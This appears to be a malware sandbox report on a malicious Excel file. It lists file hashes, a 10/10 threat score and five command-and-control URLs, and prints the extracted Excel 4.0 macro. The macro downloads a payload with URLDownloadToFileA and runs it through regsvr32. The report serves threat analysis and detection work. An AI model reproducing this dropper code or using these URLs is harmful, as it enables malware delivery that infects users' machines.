General

  • Target

    b9ccd778e887269348572b7562f0006f0aa677fe95e62db83ed7b6c1e606dda8

  • Size

    173KB

  • Sample

    241120-vtfavszmhx

  • MD5

    0e314e1199ee13dc9e0c7d6fd599e92a

  • SHA1

    2c47a58ffe4454500ec5d6c9742ebdd2a09e117d

  • SHA256

    b9ccd778e887269348572b7562f0006f0aa677fe95e62db83ed7b6c1e606dda8

  • SHA512

    32b6577a5b01cbe7d289f04da9b006ebe63942608e2d85a6a3c9a21b273e2b634587f1923f1b4e0361916daebb6db88c7753eb2aa156451f11ecb429a34eb15e

  • SSDEEP

    3072:XUlKwtyfsBMtuqBqBqrhyqBqBqBqrhyqmBqenFZRmXANKXg7e79ElHIcp4Gg7SpB:X+KwtyfsBMtuqBqBqrhyqBqBqBqrhyqU

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://carretilha.net/whats/RSL50BlRP0a6hj/

https://shrinandrajoverseas.com/old/wQXty0wnVDY/

https://zionimoveis.com.br/wp-content/Bn00gaw/

https://kontacsgo.pl/m/uwZYNUjGeWW/

http://vps36153.publiccloud.com.br/wp-admin/RfAZZ776uMNhSpOT/

Attributes
  • formulas

    =FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://carretilha.net/whats/RSL50BlRP0a6hj/","..\xxw1.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://shrinandrajoverseas.com/old/wQXty0wnVDY/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://zionimoveis.com.br/wp-content/Bn00gaw/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://kontacsgo.pl/m/uwZYNUjGeWW/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://vps36153.publiccloud.com.br/wp-admin/RfAZZ776uMNhSpOT/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\xxw1.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://carretilha.net/whats/RSL50BlRP0a6hj/

xlm40.dropper

https://shrinandrajoverseas.com/old/wQXty0wnVDY/

xlm40.dropper

https://zionimoveis.com.br/wp-content/Bn00gaw/

xlm40.dropper

https://kontacsgo.pl/m/uwZYNUjGeWW/

xlm40.dropper

http://vps36153.publiccloud.com.br/wp-admin/RfAZZ776uMNhSpOT/

Targets

    • Target

      b9ccd778e887269348572b7562f0006f0aa677fe95e62db83ed7b6c1e606dda8

    • Size

      173KB

    • MD5

      0e314e1199ee13dc9e0c7d6fd599e92a

    • SHA1

      2c47a58ffe4454500ec5d6c9742ebdd2a09e117d

    • SHA256

      b9ccd778e887269348572b7562f0006f0aa677fe95e62db83ed7b6c1e606dda8

    • SHA512

      32b6577a5b01cbe7d289f04da9b006ebe63942608e2d85a6a3c9a21b273e2b634587f1923f1b4e0361916daebb6db88c7753eb2aa156451f11ecb429a34eb15e

    • SSDEEP

      3072:XUlKwtyfsBMtuqBqBqrhyqBqBqBqrhyqmBqenFZRmXANKXg7e79ElHIcp4Gg7SpB:X+KwtyfsBMtuqBqBqrhyqBqBqBqrhyqU

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks